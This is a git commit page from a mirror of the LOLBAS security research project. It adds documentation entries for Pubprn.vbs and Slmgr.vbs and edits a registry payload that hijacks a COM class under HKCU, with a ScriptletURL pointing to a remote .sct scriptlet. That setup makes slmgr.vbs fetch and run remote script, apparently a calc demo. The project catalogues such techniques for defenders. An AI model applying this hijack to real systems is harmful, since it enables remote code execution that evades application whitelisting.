infosecn1nja
/
LOLBAS
mirror of https://github.com/infosecn1nja/LOLBAS.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added some

master
api0cradle 2018-04-18 17:02:39 +02:00
parent 0eb4ec64e3
commit d94fbc33c8
3 changed files with 7 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
LOLScripts.md
View File

@ -5,4 +5,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge
# OS SCRIPTS # OS SCRIPTS
[Cl_invocation](OSScripts/Cl_invocation.md) [Cl_invocation.ps1](OSScripts/Cl_invocation.md)
[Pubprn.vbs](OSScripts/Pubprn.md)
[Slmgr.vbs](OSScripts/Slmgr.md)

5
OSScripts/Slmgr.md
View File

@ -11,7 +11,8 @@ Acknowledgements:
* Casey Smith - @subtee * Casey Smith - @subtee
Code sample: Code sample:
* [NameOfLink](Payload/NameOfPayload) * [Slmgr.reg](Payload/Slmgr.reg)
* [Slmgr_calc.sct](Payload/Slmgr_calc.sct)
Resources: Resources:
* https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
@ -24,7 +25,7 @@ c:\windows\sysWOW64\slmgr.vbs
``` ```
Notes: Notes:
Requires registry keys to work. Requires that registry keys are imported and SCT present to work. SCT path can be adjusted inside the registry keys.

2
Payload/Slmgr.reg
View File

@ -18,7 +18,7 @@ Windows Registry Editor Version 5.00
@="Scripting.Dictionary" @="Scripting.Dictionary"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL] [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
@="https://gist.githubusercontent.com/enigma0x3/4373e9a63aaebe177c747af9bc6da743/raw/2207d8a1a536371aff5f61c8bef8400622868976/wee.png" @="https://raw.githubusercontent.com/api0cradle/LOLBAS/master/Payload/Slmgr_calc.sct"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID] [HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="Scripting.Dictionary" @="Scripting.Dictionary"